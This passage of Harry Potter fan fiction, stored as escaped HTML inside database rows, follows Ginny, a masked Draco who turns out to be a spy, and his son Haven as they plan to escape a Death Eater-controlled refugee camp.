After she was done making the potion with some herbs she had and a little water, she approached him. His mouth seemed to be set in a frown as he slept, she could see that much. The top half of his face was masked by a black satin cloth that he had tied around his head, holes cut for the eyes. His hood was covering up his hair. Ginny wanted to see him. She watched his chest rise and fall in a pattern of sleep and glanced around the room seeing that everyone but her was asleep.\n<br><br>\n\n	A tentative hand reached towards the dark hood, revealing a head of light brown hair. It was baby fine and soft as her fingers brushed against it. Her hand traveled down and grasped the edge of the mask when his hand came up and caught her wrist. She saw his eyes snap open from underneath the mask.\n<br><br>\n\n	&#8220;Don&#8217;t touch my mask.&#8221;\n<br><br>\n<br><br>\n<br><br>\n\n<b>A/N:</b> I\'ll post again soon!!!\n<br><br>\n\nLove<br>\n\nVF\n<br><br>\n\n*	Song goes to Dido.\n\n<br><br>\n<br><br>\n'),
	(99, 4, '\n\n<b>Disclaimer:</b> I only own Haven. <br><br><br><br>\n\n\n<center>\n<u><b>\nHeroes Shed No Tears</b></u><b><br>\nPart IV</b><br>\n<i>By VirtualFaerie</i>\n<br><br>\n<br><br>\n</center>\nGinny jerked her hand back, looking at him fearfully. &#8220;I-I&#8217;m sorry,&#8221; she stammered. She tried to reason, &#8220;I was just trying to check if you had a head wound.&#8221; Her eyes darted around the tent, hoping that no one had woken up.\n<br><br>\n\nHe pulled his hood back up to cover his brown hair. &#8220;I don&#8217;t need your lame excuses,&#8221; he spat. That tone of voice was so familiar, where has she heard it before.\n\n<br><br>\nIn her head, wheels turned and clicked into place. Her eyes widened in recognition as she looked down at him, deeply surprised.  Of all people, she hadn&#8217;t expected him. &#8220;Draco?&#8221; she whispered, her hands instinctively going up to the chain on her neck, feeling of the comfort of the dragon. \n<br><br>\n\n&#8220;Shit,&#8221; he cursed. &#8220;You better not tell anyone.&#8221; He shoved back his hood forcefully and pulled off the mask. He grabbed his wand and pointed it towards his head; his brown tresses immediately turning to their natural pale blond. Ginny watched as his deep grey eyes traveled up to her neck and rested on the pendant and his eyebrows shot up. &#8220;Where did you get that?&#8221; he demanded.\n<br><br>\n\nGinny glanced over at Haven, thinking he might have woken. He hadn&#8217;t; this?&#8221; she asked, pointing to the silver dragon resting on her skin, glittering in the firelight. \n<br><br>\n\n&#8220;Yes,&#8221; he looked at her impatiently, his cool grey eyes probing her own warm brown ones. &#8220;Where did you get it?&#8221;\n<br><br>\n\n&#8220;I got it when I was little,&#8221; she said not meeting his eyes. \n\n&#8220;At the park, and you were crying,&#8221; he asked. It was impossible for her to tell what he was thinking his eyes were shrouded. How did he know?\n<br><br>\n\n&#8220;Yes,&#8221; she answered slowly. &#8220;How did you know?&#8221; He looked at her for a moment; Ginny took advantage of the pause and studied his face. It hadn&#8217;t changed too much from Hogwarts, besides the added lines on his face that didn&#8217;t belong there. There were dark purple circles under his eyes that glared out at you and his mouth was set in a straight, serious line. Despite it all, he still looked just as handsome as he had in school.\n<br><br>\n\n&#8220;That was mine,&#8221; he said, eyes trained to the necklace.\n<br><br>\n\n &#8220;You were the boy who was trying to get me to stop crying,&#8221; she said . Realizing his father, Lucius, had been yelling at him about the necklace. She had never forgotten that day.  &#8220;Do you want it back?&#8221;\n<br><br>\n\nDraco studied the necklace, &#8220;no, it&#8217;s yours.&#8221;  He  shifted in the bed and  winced. &#8220;How about that Skele-Gro?&#8221; he groaned. \n<br><br>\n\n&#8220;Wow,&#8221; Ginny said, trying not to smile. &#8220;I&#8217;ve never had such and eager patient before. Not for Skele-Gro at least.&#8221;\n<br><br>\n\n&#8220;When you&#8217;re leg is hurting as bad as mine, Skele-Gro sounds heavenly,&#8221; he said thickly. Ginny nodded and began measuring out a spoonful of the medicine for him.\n<br><br>\n\n&#8220;This is my last bottle,&#8221; she remarked, looking at it sadly. Even though the New Ministry always wanted healers around, it was hard for her to get her hands on any type of manufactured medicine. Most of the time she just had to make her own medicine with the herbs that were around camp.\n<br><br>\n\n&#8220;I&#8217;ll bring you some more next time I come around,&#8221; he said dismissively. &#8220;But only if you get that over here, fast.&#8221; Ginny suppressed a laugh as she tipped the spoon into his mouth. He made a face. &#8220;Eugh, that stuff is worse that I remembered.&#8221;\n<br><br>\n\nHaven stirred in his bed and turned over, his eyes wide and curious as he looked from Ginny to his father. &#8220;Daddy?&#8221; he whispered, his eyes lighting up.\n<br><br>\n\nDraco smiled softly at Haven. &#8220;Yes, I&#8217;m here. Be quiet, we don&#8217;t want to wake everyone up.&#8221; Haven nodded grinning brightly. He leapt out of his bed to crawl into Draco&#8217;s, snuggling against him. Ginny felt her heart leap as she saw this, and then there was that twinge. Surely Draco would take Haven with him this time.\n<br><br>\n\nGinny went and put the Skele-Gro up and dimmed the fire a little, getting ready to climb in her own bed. She climbed in; noticing Draco had his hood and mask back on. Just as she was about to pull up her blankets, she heard Haven from the other bed. &#8220;I want Ginny,&#8221; he said sleepily.\n<br><br>\n\n&#8220;Three of us won&#8217;t fit in this bed,&#8221; Draco said to him. Ginny stared at Haven, not knowing what to say.\n<br><br>\n\n&#8220;I can&#8217;t sleep without her, she scares the evil wizard away,&#8221; Haven pleaded. &#8220;Please, Daddy?&#8221; Draco looked over at Ginny; she shrugged and crept over to their bed. She climbed in next to Haven and made sure that he had the covers tucked up to his neck. She told herself it was okay since Haven was in the middle. She just hoped that she would wake up before Ron.\n<br><br>\n<br><br>\n\n~*~\n<br><br>\n<br><br>\n\n&#8220;Ginny,&#8221; Ron bellowed. Beside him, Harry woke up immediately and clamped his hand firmly over Ron&#8217;s mouth.\n<br><br>\n\n&#8220;Shut up,&#8221; he hissed, squinting, his eyes still not adjusted to the sunlight. He reached over to the table beside the bed and grabbed his glasses, shoving them onto his face impatiently.\n<br><br>\n\n&#8220;But she&#8217;s in bed with&#8230;that man!&#8221; Ron said heatedly as soon as Harry had removed his hand.\n<br><br>\n\nHarry glanced over at them. &#8220;Yes,&#8221; he said rationally, &#8220;but Haven&#8217;s in-between them.&#8221; \n<br><br>\n\n&#8220;I don&#8217;t care,&#8221; Ron said angrily, trying to get out of bed.  Harry grabbed a handful of the back of his shirt and jerked him back to the bed, a small &#8220;Oof&#8221; coming from his mouth as he landed back on the mattress.\n<br><br>\n\n&#8220;Shuddup, Ron,&#8221; Ginny mumbled groggily into her pillow from the other bed. Haven was nestled between her and Draco; an arm slung around her waist and another around his father&#8217;s, his teddy lay above his head on the pillow. Ginny carefully took his arm off of her and placed it onto the mattress, sliding out of bed trying not to disturb them. She covered Haven back up. &#8220;I only slept there because Haven wanted me too,&#8221; she explained to Ron, rubbing her eyes.\n<br><br>\n\nRon still didn&#8217;t look very happy. &#8220;But we don&#8217;t even know who that man is,&#8221; he argued.\n<br><br>\n\nGinny was silent as she got a worn pot from one of the battered wooden crates. Ron stared at her, an odd look on his face. She measured a cup of lentils and some water, pouring them into the pot. She would have to ration the food even more now that they had one more person to feed.\n<br><br>\n\n&#8220;You know who he is,&#8221; Ron said slowly. &#8220;Don&#8217;t you?&#8221; Ron looked at Harry, who shrugged, then back to Ginny. She didn&#8217;t answer. &#8220;Who is it Ginny?&#8221;\n<br><br>\n\n&#8220;Does it matter?&#8221; she asked finally, looking at him guardedly.\n<br><br>\n\n&#8220;Well, yeah,&#8221; Ron scoffed. &#8220;He <i>is</i> staying in our tent,&#8221; he said wrinkling his eyebrows at her. &#8220;Tell me, Ginny,&#8221; he commanded.\n<br><br>\n\n&#8220;It&#8217;s not my secret to tell,&#8221; Ginny said stirring the lentil soup. &#8220;If he really wants you to know, he&#8217;ll tell you himself.&#8221; She gave him a look over her shoulder, noticing that Harry was rolling his eyes at Ron. She wanted to smile but knew that would just fuel Ron even further, so she didn&#8217;t.\n<br><br>\n\nRon glared at her, &#8220;If he&#8217;s going to stay in this tent&#8212;&#8220;\n<br><br>\n\nGinny cut him off swiftly, not wanting to hear him anymore. &#8220;Ron, I&#8217;m the able-body who is in control of who stays in this tent and who doesn&#8217;t. If you were better I <i>might</i> let you have some decision, but as of now I am in charge of this household. Don&#8217;t get on my nerves.&#8221; It was an empty threat and they both knew it. Ginny would never throw Ron out.\n<br><br>\n\n&#8220;So&#8230;&#8221; Harry said clapping his hands together and raising his eyebrows at them. &#8220;Is that soup ready?&#8221;\n<br><br>\n\nGinny gave him a sideways glance. &#8220;No, it&#8217;ll be ready in a few minutes. You watch it, I&#8217;ll be back.&#8221; She sighed and pulled on her worn boots, they were tattered, their heels falling off, the front part flapping, and they were coated in the rusty colored dust that covered just about everything else in the camp. She needed a little time on her own to think, she pushed the flaps of the tent open and stepped out into the sunlight, letting it flood around her, enjoying the warm feel of it on her skin.\n<br><br>\n\nOne thing she had noticed since the New Ministry had come was that there were death eater guards all over the camp. They wore their black robes with the dark mark on the back, glaring maliciously at anyone and everyone who passed. The dirty little kids that used to get their only fun from playing outside had retreated to their tents, the death eaters have scared them off.\n<br><br>\n\nShe passed by the New Ministry building, which resembled a small castle. It was tall and menacing casting shadows at the camp that hadn&#8217;t been there before. The stone was  a gloomy grey and  all the dark windows seemed to glare down at her. Even though it was new, she could smell the musty dankness of the place as she walked by. \n<br><br>\n\nA death eater watched her from his perch on a low tree limb. The tree was already scraggly and pitiful enough with its skeletal branches fluttering noisily in the wind without the death eater sitting in it. <i>Poor tree</i>, Ginny thought.\n<br><br>\n\n	The death eater hopped down and started towards her. Ginny frowned, what did he want from her? Then she noticed another one step out of the trees and followed the other one. She felt her heart beating and her hands flew up her necklace to try to pacify her fear.\n<br><br>\n\n	The two death eaters stopped in front of her, &#8220;W-What do you want?&#8221; she managed to stutter.\n<br><br>\n\n	&#8220;Miss,&#8221; one said, taking her by the arm. &#8220;I&#8217;m afraid that we&#8217;re going to have to&#8212;&#8220; another death eater ran out of the trees, panting loudly.\n<br><br>\n\n	&#8220;Gods you guys, why didn&#8217;t you wait for me? Oh!&#8221; he said, looking at Ginny.\n<br><br>\n\n	The death eater that had been talking jerked his head at the death eater that had just walked up. &#8220;Anyways, we&#8217;re going to have to take you back to your tent.&#8221;\n<br><br>\n\n	&#8220;All of us are going to take you,&#8221; the silent death eater said. Ginny looked at them curiously. They didn&#8217;t act like death eaters. She figured they must be young recruits or something. They grabbed her arms and started pulling her after them.\n<br><br>\n\n	&#8220;Uh, guys,&#8221; she said carefully. &#8220;My tent is the <i>other</i> way.&#8221; \n<br><br>\n<br><br>\n\n~*~\n<br><br>\n<br><br>\n\n	They pushed open the flaps of the tent and immediately Ginny saw that Ron was standing next to Draco, trying to look as menacing as possible despite his very pale skin. Ron wasn&#8217;t supposed to be out of bed. Ginny pulled her arms out of the men&#8217;s grasp and ran to Ron, ushering him back to his bed. &#8220;What were you doing? Do you realize that you could be worse off than you were before now? Gods, you&#8217;re so stupid, Ron.&#8221;\n<br><br>\n\n	Ron glared at her feebly as she jerked his blankets up and rolled her eyes at him. She continued, &#8220;What do you think you would have accomplished anyways? I can tell you, you couldn&#8217;t have done anything in your state. I don&#8217;t see how you&#8217;re ever going to get better this way.&#8221; She sighed and looked over at Draco, her hands on her hips. &#8220;And what are<i> you</i> doing out of bed? As I recall you are sick too? I advise you to get back in bed right now before I have to <i>make you</i>.&#8221;\n<br><br>\n\n	&#8220;You can&#8217;t make me do anything,&#8221; he grumbled, walking towards the bed anyways.\n<br><br>\n\n	Haven was sitting on his father&#8217;s bed, watching this all with a small smile on his face. He thought it was funny. He noticed the men standing at the door. &#8220;Who are they?&#8221; he asked Ginny.\n<br><br>\n\n	Ginny whirled around to face the men. She had forgotten they were there. &#8220;Oh,&#8221; she said. &#8220;Do you guys need something?&#8221; Then she felt like she was going to start panicking. Draco was in the tent with them and as far as she knew he was a wanted man. The Dragon of Hope wasn&#8217;t safe in this tent if three death eaters were in it as well.\n<br><br>\n\n	One of the death eaters stuck out a pale freckled hand with a small bird shaped scar on his right hand knuckle. Ginny&#8217;s eyes widened and her face broke out in a grin. &#8220;Oh my gods,&#8221; she cried launching herself at the man. &#8220;Oh my gods,&#8221; there were tears streaming down her face.\n<br><br>\n\n	&#8220;What are you doing, Ginny?&#8221; Harry asked startled. \n<br><br>\n\n	The death eater&#8217;s arms flew around her and one of the others came around to her and hugged her as well. By now the whole tent was staring at the fixatedly, wondering why Ginny was hugging two death eaters. &#8220;We missed you, Ginny,&#8221; one said thickly.\n<br><br>\n\n	Molly&#8217;s head shot up from her pillow, she gazed at the two men her eyes glazed over. &#8220;No,&#8221; she said smiling. &#8220;It can&#8217;t be? My babies?&#8221;\n<br><br>\n\n	The two men threw back their hoods, revealing the grinning faces of Fred and George Weasley. &#8220;We sure had you tricked didn&#8217;t we, Ginny?&#8221; Ginny chose to just nod, instead of informing them that they had acted to nice to ever possibly be death eaters. &#8220;Mum,&#8221; they said, rushing over to her bed and letting her gather them in big hugs.\n<br><br>\n\n	&#8220;Fred? George?&#8221; Ron called, there were tears in his eyes. After their mother finally let them go, they went over to Ron and hugged him as well.\n<br><br>\n\n	After everyone was hugged and accounted for, they stopped in front of Draco, big grins on their faces. &#8220;Well if it isn&#8217;t the little bugger himself,&#8221; Fred said.\n<br><br>\n\n	&#8220;And what&#8217;s he doing in a tent full of Weasleys?&#8221; George added.\n<br><br>\n\n	&#8220;I could ask myself the same question,&#8221; Draco said gruffly, but there was a small smile visible on his face. Ginny noticed that he had a dimple on one cheek that showed when he smiled.\n<br><br>\n\n	&#8220;Oh well,&#8221; said George. &#8220;You put up with us all the time, what&#8217;s three more Weasleys anyways?&#8221;\n<br><br>\n\n	&#8220;Way too many.&#8221;\n<br><br>\n\n	&#8220;Excuse me,&#8221; Ron said loudly. &#8220;You know who he is too?&#8221; Then he looked to Harry, &#8220;If they know, you must too.&#8221; Harry smiled and nodded. &#8220;This isn&#8217;t fair, why can&#8217;t I know?&#8221;\n<br><br>\n\n	&#8220;Because,&#8221; said the other death eater, stepping away from the entrance of the tent and pushing back his hood. It was Neville, only his voice was deeper, and he had lost all of his baby fat. He was tall, and lean with dark eyes and equally dark hair. &#8220;You would freak out the most.&#8221;\n<br><br>\n\n	&#8220;I bet I would not!&#8221; Ron said indignantly.\n<br><br>\n\n	&#8220;Yes, you would,&#8221; Draco said, pulling back his hood as well.\n<br><br>\n\n	Ron let out a cry of surprise. &#8220;You!&#8221; he shouted accusingly. \n<br><br>\n\n	&#8220;Yes, me,&#8221; Draco said rolling his eyes. Then, just as quickly, he narrowed them, &#8220;You breathe a word of this and I will rip out your intestines and strangle you with them.&#8221;\n<br><br>\n\n	Haven looked at his father wide-eyed. &#8220;Daddy?&#8221; he said unsurely.\n<br><br>\n\n	Draco looked over to Haven, &#8220;Daddy didn&#8217;t mean it,&#8221; he said. &#8220;I just want to make sure he knows how bad it is to tell on me.&#8221; Haven put his arms around Draco and looked at Ron pleadingly.\n<br><br>\n\n	&#8220;Please don&#8217;t tell on my daddy,&#8221; he said softly.\n<br><br>\n\n	Ron gaped at them all in disbelief. &#8220;I can&#8217;t believe this, it&#8217;s a conspiracy.&#8221;\n<br><br>\n\n	&#8220;No it isn&#8217;t,&#8221; Harry explained. &#8220;You&#8217;ve been stuck in the godforsaken refugee camp for too long. Malfoy has been on our side since the war began, working double time as a spy. There are people out there that you never would have known to switch sides, I bet you didn&#8217;t know that Dean went over to Voldemort&#8217;s side did you?&#8221;\n<br><br>\n\n	&#8220;No,&#8221; Ron said in dubiously.\n<br><br>\n\n	Harry nodded, &#8220;Malfoy&#8217;s been our best spy and the most help to anyone alive.&#8221;\n<br><br>\n\n	&#8220;Then how come he&#8217;s still such a prat?&#8221; Ron asked, recalling his earlier fight with Draco.\n<br><br>\n\n	Harry smiled and looked over at the sneering Draco, &#8220;Because, Ron, some things never change. He still hates us. But he hates Voldemort and what he&#8217;s doing even more.&#8221;\n<br><br>\n\n	&#8220;Are you friends with him?&#8221; Ron asked accusingly. \n<br><br>\n\n	Draco snorted, &#8220;No way in hell would I be friends with <i>that</i>.&#8221; He looked over at Harry disdainfully, &#8220;It&#8217;s more like I barely tolerate him. Being in his very presence make my skin crawl.&#8221;\n<br><br>\n\n	Ginny shot Draco a withering glance, &#8220;You should watch your mouth, Malfoy.&#8221;\n<br><br>\n\n	He blinked at her, &#8220;I&#8217;ll do what I want, Weasley.&#8221;\n<br><br>\n\n	Neville cut in, &#8220;Alright guys, stop it. We aren&#8217;t getting anywhere with this kind of arguing.&#8221; He cast pointed looks in Draco and Ginny&#8217;s direction. He held out his hands, &#8220;The reason we came here was we heard that this was going to be the Dark Lord&#8217;s&#8212;&#8220;\n<br><br>\n\n	&#8220;Still too scared to say his name, Longbottom?&#8221; Draco sneered.\n<br><br>\n\n	Neville scowled at Draco, &#8220;Fine, we heard this camp was going to be <i>Voldemort&#8217;s</i> new base. We didn&#8217;t know for sure until we sent Harry.&#8221; He glanced around at everyone. &#8220;We have to get to him before he gets any stronger; he&#8217;s still weak from his last battle with Harry. We have to get him while he&#8217;s down.&#8221;\n<br><br>\n\n	Ginny and Ron looked to Harry, who nodded, &#8220;It&#8217;s true. Hermione is back at Hogwarts with Dumbledore and the other&#8217;s trying to devise a plan for the best way to fight him. The resistance is on its last legs, this may be the last chance we get. We have to get you guys out of here and back to Hogwarts so we can prepare.&#8221;\n<br><br>\n\n	&#8220;But I thought you said that it was too risky for us all to leave,&#8221; Ginny said, wrinkling her eyebrows.\n<br><br>\n\n	&#8220;It still is, but I said that before when I wasn&#8217;t sure that this was Voldemort&#8217;s new headquarters. Now we have to get you out of here because it won&#8217;t be safe,&#8221; Harry said. \n<br><br>\n\n	&#8220;When are we going to leave?&#8221; asked Ron.\n<br><br>\n\n	&#8220;We&#8217;ll have to leave in three days at the latest. But we&#8217;ve got to wait for Malfoy to get better so that he can make an appearance at the New Ministry building so it doesn&#8217;t look too suspicious that he hasn&#8217;t been seen in awhile.&#8221; Neville said, looking at Draco scornfully. \n<br><br>\n\n	&#8220;But there will be death eaters on patrol and they must have set wards up by now,&#8221; Ginny reasoned. &#8220;There won&#8217;t be a way that we can get out undetected.&#8221;\n<br><br>\n\n	Fred and George smiled. &#8220;This is where we come into play,&#8221; said Fred.\n<br><br>\n\n	&#8220;On our way in we made a small hole in the ward placed around the camp. Or at least we weakened it so bad it wouldn&#8217;t be able to stop us, or alert them.&#8221; George said proudly.\n<br><br>\n\n	&#8220;Don&#8217;t you think they would have detected the fault by now and fixed it?&#8221; Ginny asked curiously. &#8220;They must at least check if this is going to be Voldemort&#8217;s headquarters.&#8221;\n<br><br>\n\n	George frowned, &#8220;Must you always burst our bubble?&#8221;\n<br><br>\n\n	Ginny shrugged, &#8220;I&#8217;m just being careful. You never know what could go wrong.&#8221;\n<br><br>\n\n	&#8220;The wards aren&#8217;t strong over the stream, the water breaks them down,&#8221; Draco said. &#8220;They would be easy to puncture and get through.&#8221; He looked at Haven, &#8220;That how I got him in,&#8221; then he nodded his head at Harry, &#8220;him too.&#8221;\n<br><br>\n\n	&#8220;How are we going to get to Hogwarts after we leave the camp?&#8221; Ron asked, sitting up straighter in his bed, not wanting to be left out of the conversation. &#8220;Not all of us are going to be able to apparate.&#8221; He smiled remembering something Hermione had said, &#8220;Not that we&#8217;d be able to apparate into Hogwarts anyways.&#8221;\n<br><br>\n\n	Harry gave Ron a look, &#8220;You actually listened to Hermione?&#8221; Ron&#8217;s ears pinkened.\n<br><br>\n\n	&#8220;We&#8217;re going to get to Hogwarts by broom,&#8221; Draco cut in, glaring at them for getting off the topic. &#8220;We&#8217;ll have to walk to my mother&#8217;s house, which is about 60 kilometers from here. I have plenty of brooms there.&#8221;\n<br><br>\n\n	&#8220;60 kilometers? That&#8217;ll take us forever!&#8221; Ron complained.\n<br><br>\n\n	Draco glowered at him, &#8220;Well what do you propose we do? Flap our wings and hope that the wind isn&#8217;t blowing in the wrong direction?&#8221;\n<br><br>\n\n	&#8220;Hey now,&#8221; Ginny cut it. &#8220;If you can&#8217;t say anything nice&#8230;.&#8221;\n<br><br>\n\n	&#8220;Don&#8217;t say anything at all,&#8221; all the guys in the tent chorused together. \n<br><br>\n\n	&#8220;That&#8217;s the spirit,&#8221; she grinned.\n<br><br>\n<br><br>\n\n\n~*~\n<br><br>\n<br><br>\n\n	The moon shone down fiercely, its craters highly visible, it seemed to hang lower in the sky than normal. Ginny felt that if she climbed to the top of one of the trees that she could reach up and touch it. She was standing outside staring up at the sky listening to the trees shake and whisper in the darkness. They had all talked for hours about what was going on, and how they were going to get to Hogwarts.\n<br><br>\n\n	&#8220;You know, the aliens aren&#8217;t going to take you if you look so eager,&#8221; Harry said softly coming up behind her.\n<br><br>\n\n	She glanced back at him confused, &#8220;Aliens?&#8221;\n<br><br>\n\n	&#8220;Sorry,&#8221; Harry shook his head. &#8220;I forgot, it&#8217;s a muggle thing.&#8221;\n<br><br>\n\n	&#8220;Oh,&#8221; she said quietly. She sighed loudly and shivered in the cool wind. Harry stepped up closer behind her and wrapped an arm around her shoulders. She settled back against him comfortably. &#8220;Everything is going so quickly, it seems like just yesterday Haven got here,&#8221; she murmured. \n<br><br>\n\n	She turned her head up to look at him, realizing how close their lips were. &#8220;Harry, I&#8212;&#8220; she never finished. Harry leant down and sealed her lips with his own.\n<br><br>\n<br><br>\n	\n	\n\n	\n	<b>A/N:</b> Thanks for reading.<br><br>\n\n\n	\n<br><br>\n<br><br>\n<br><br>\n<br><br>\n<br><br>\n<br><br>\n<br><br>\n<br><br>\n<br><br>\n<br><br>\n'),
	(99, 5, '\n<br><br>\n<b>Disclaimer:</b> I solemnly swear that I don\'t own anything...but Haven.\n<br><br>\n<center>\n<b><u>Heroes Shed No Tears</u><br>\nPart V</b><br>\n<i>By VirtualFaerie</i>\n<br><br>\n</center>\n&#8220;Harry,&#8221; Ginny exclaimed while jerking backwards. She gazed up at his green eyes in surprise. &#8220;What was that for?&#8221; She put her head in her hands, &#8220;I can&#8217;t believe you just did that.&#8221;\n<br><br>\n&#8220;I&#8217;m sorry,&#8221; he said. Ginny studied him for a moment, his eyes were sincere and that would have to do. &#8220;I don&#8217;t know what came over me. You just looked so&#8230;lovely with the moonlight shining on your face, and you seemed so happy.&#8221;\n<br><br>\nGinny sighed, &#8220;I&#8230;It&#8217;s okay. Just, please try to refrain from kissing me so&#8230;suddenly. You surprised me.&#8221;\n<br><br>\nHarry looked sheepish, &#8220;Does that mean I can do it again?&#8212;If I ask?&#8221;\n<br><br>	\nCoughs came from the opening of the tent. Draco stood there, an eyebrow raised, watching them, amusement flashing in his eyes. &#8220;Well now,&#8221; he said smoothly. &#8220;This wasn&#8217;t exactly what I was expecting to see.&#8221; Ginny blushed and saw Harry stiffen next to her. &#8220;But I didn&#8217;t come out here to insult you, if that&#8217;s what you were thinking,&#8221; he smirked. He looked straight at Ginny, &#8220;Do you think you could give me some more of whatever it was you gave me last night to ease the pain?&#8221; Ginny noticed that he winced when his weight shifted over to his hurt leg.\n<br><br>\n&#8220;Oh, right, I&#8217;m sorry,&#8221; she rushed into the tent and rustled in her trunk for the medicine. \n<br><br><br><br>\n\n~*~\n<br><br><br><br>\nDraco stood in front of the New Ministry building, his black, death eater robes billowing out around him in the wind. It had been two days since the Weasley twins had arrived with Longbottom and he had to pay a visit to Zabini before he left. He left Haven with Ginny, he hadn&#8217;t really wanted to, but he didn&#8217;t see what it would hurt considering that he had been with Ginny the whole time that he couldn&#8217;t take care of him.\n<br><br>\nHe raked his fingers through his hair as he stepped into the building, cool air rushing towards him. He suppressed a shiver and walked to the front desk. The woman at the front desk looked up at him with cold black eyes. &#8220;I have an appointment&#8230;&#8221; he left his sentence hanging in the air as he looked at her.\n<br><br>\n&#8220;Fancy meeting you here,&#8221; he said calm as you please.\n<br><br>\nShe stared up at him unblinkingly, &#8220;Well, Malfoy, you&#8217;re a little worse for wear.&#8221; She said studying the lines on his face noticeably.\n<br><br>\n&#8220;I could say the same about you,&#8221; he sneered, noticing that there were gray streaks in her hair.\n<br><br>\n&#8220;Left hall, second door to the left,&#8221; she spat. He whirled around and stalked off down the hall.\n<br><br>\nHe walked into the room without knocking to find Zabini lounging back in his chair, feet propped up on his desk and hands behind his head. &#8220;You have Lestrange here,&#8221; Draco said.\n<br><br>\nZabini looked at Draco, &#8220;Yes. She&#8217;s quite an efficient secretary.&#8221; Zabini took his feet off of the desk. &#8220;Mathilde is getting on your nerves already? You haven&#8217;t even been here five minutes.&#8221; His eyes danced as he smiled.\n<br><br>\n&#8220;She always does, and you know it. I don&#8217;t even know why you bother to ask,&#8221; Draco said dropping down into one of the chairs in front of Zabini&#8217;s desk.\n<br><br>\n&#8220;Well you got rid of her a long time ago.  I thought maybe bygones were bygones.&#8221;\n<br><br>\n&#8220;Hardly, and I didn&#8217;t get rid of her; she was too irresponsible; I left.&#8221; Draco said rolling his eyes.\n<br><br>\n&#8220;Sure, sure,&#8221; Zabini said waving him off. &#8220;But, to business.&#8221; Zabini pulled some parchment out of his desk. &#8220;You know that this is going to be headquarters?&#8221; Draco nodded. &#8220;We need you to go the company that&#8217;s in east London.&#8221; He sighed, &#8220;We&#8217;ve got a few dingbats that are even catching our owls out of midair.&#8221;\n<br><br>\nDraco smirked, &#8220;Why don&#8217;t you just brand our owls, that way they know to release them?&#8221;\n<br><br>\nZabini snorted, &#8220;Right oh, you&#8217;re a smart one, Malfoy. I don&#8217;t know why one of us hasn&#8217;t thought of that before.&#8221; <i>Probably because you&#8217;re all idiots</i>, Draco thought. Zabini rubbed the bridge of his nose, &#8220;I&#8217;ll get Parkinson to show you the map. So you&#8217;ll know exactly where they are.&#8221;\n<br><br>\nZabini called Pansy into the office and told her to take Draco into the maps room. He followed her up three flights of stairs until they finally stopped at a room at the very end of the hall on the fourth floor. She batted her eyes at him as she opened the door with her key. &#8220;I&#8217;m one of the official keepers of the maps,&#8221; she said proudly.\n<br><br>\n&#8220;Quite impressive,&#8221; Draco said flatly. She led him into the room and on the back wall there was a gigantic map of England. All the death eater camps where marked with red dots, and the new Head Quarters was marked with a big black &#8220;X&#8221;. \n<br><br>\n &#8220;This,&#8221; she said sticking out a bright pink taloned finger. &#8220;Is where the company in East London is stationed.&#8221; She moved the finger across the map and pointed to the big &#8220;X&#8221; that very clearly stated, in blue ink, that it was &#8220;HQ&#8221;. &#8220;This is where we are. Now,&#8221; she explained slowly, &#8220;We need you to get the company from here in East London,&#8221; the talon moved across the map and rested on the big &#8220;X&#8221;, &#8220;to here&#8221;.\n<br><br>\nDraco blinked at her stupidity, but found himself saying, &#8220;Of course,&#8221; in the most neutral tone possible under these sorts of circumstances.\n<br><br>\nShe beamed at him, &#8220;Very good.&#8221; Draco had an itch in his hand to slap her. Then she sighed and looked at him sadly, &#8220;I have to go to a meeting, but I&#8217;ll have Millicent show you the way down.&#8221; He was about to growl that he could find the way out by himself, but Pansy had already left. A very large Millicent now stood in the doorway smiling dumbly at him.\n<br><br>\n&#8220;Hello, Draco,&#8221; she boomed mindlessly. \n<br><br>\n&#8220;Hi,&#8221; he said miserably. \n<br><br>\nOnce they were out in the sunlight again, Millicent winked at him. &#8220;See you around,&#8221; she said and strode back into the building.\n<br><br>\n	&#8220;Good Gods, I&#8217;m glad that&#8217;s over,&#8221; Draco said sighing loudly after he was a good ways down the path. He slipped into the trees and pulled his hood up before he stepped back out again. It would ruin everything if he let anyone see him, a Malfoy, walking into a Weasley&#8217;s tent.\n	<br><br>\n	He pulled back the flaps and stepped in and was almost plowed over by his son. Draco caught Haven in his arms and hugged him closely. &#8220;Daddy!&#8221; Haven said excitedly. &#8220;Guess what! Guess what!&#8221; he said bobbing up and down in his father&#8217;s arms.\n<br><br>\n	Draco smiled at him, &#8220;What?&#8221;\n<br><br>\n	&#8220;Ginny made me a cape!&#8221; he wriggled out of Draco&#8217;s arms and ran towards his bed. Draco frowned at Ginny, whom had her back turned to him, working on something near the fireplace. Haven swept a butternut colored cape off of the bed and tied it around his neck. &#8220;See?&#8221;\n<br><br>	&#8220;That&#8217;s very nice, son,&#8221; Draco said his lips curving up into a warm smile. &#8220;Did you say thank you?&#8221;\n\n	Haven nodded, &#8220;Yes, sir.&#8221;\n<br><br>\n	&#8220;That&#8217;s a good boy,&#8221; said Draco, pleased.\n<br><br>\n	&#8220;Good Merlin,&#8221; Ron breathed from his bed, &#8220;I swear, Hell has frozen over.&#8221; Draco scowled at him. \n<br><br>\n	&#8220;Shut up, Weasley,&#8221; he snapped glaring menacingly at Ron.\n<br><br>\n	&#8220;Now, now,&#8221; Ginny said absently. &#8220;No fighting&#8230;. And no cursing, Ron.&#8221; Ron rolled his eyes and flopped back in his bed sighing loudly.\n<br><br>\n	There was a small explosion from Fred and George&#8217;s corner of the tent. They looked up a grinned unabashedly, &#8220;Whoops little backfire there.&#8221;\n<br><br>\n	Neville was sitting on his cot watching Ginny. &#8220;When do you think that we&#8217;re going to leave?&#8221;\n<br><br>\n	Draco looked at him sharply, &#8220;Didn&#8217;t we discuss this already?&#8221; He didn&#8217;t wait for an answer. &#8220;We&#8217;re leaving tomorrow, before dawn if possible.&#8221;\n<br><br>\n	Harry glanced at Draco and frowned, &#8220;Did we say how we were going to go about carrying Ron and Percy?&#8221;\n<br><br>\n	Percy looked up quickly as he heard the twins start to chuckle. &#8220;Weightless floating charms should work,&#8221; Draco said shortly. \n<br><br>\n	&#8220;They,&#8221; Percy said pointing at the twins, &#8220;Aren&#8217;t going to be casting any charms on me.&#8221;\n<br><br>\n	&#8220;Don&#8217;t be so picky,&#8221; Draco smirked at Percy. &#8220;You&#8217;ll get whoever can bloody well take you.&#8221;\n<br><br>\n	&#8220;Mouth,&#8221; Ginny reminded, patting Haven&#8217;s head idly. He had crawled up into her lap and was resting his head on her with his eyes closed, trying to take a nap.\n<br><br>\n	&#8220;Of course we&#8217;ll take you,&#8221; Fred said, his eyes shining mischievously. &#8220;We&#8217;re as Malfoy says, &#8216;bloody well able to&#8217;.&#8221;\n<br><br>\n	&#8220;Yeah, come on,&#8221; George goaded. &#8220;You aren&#8217;t afraid now are 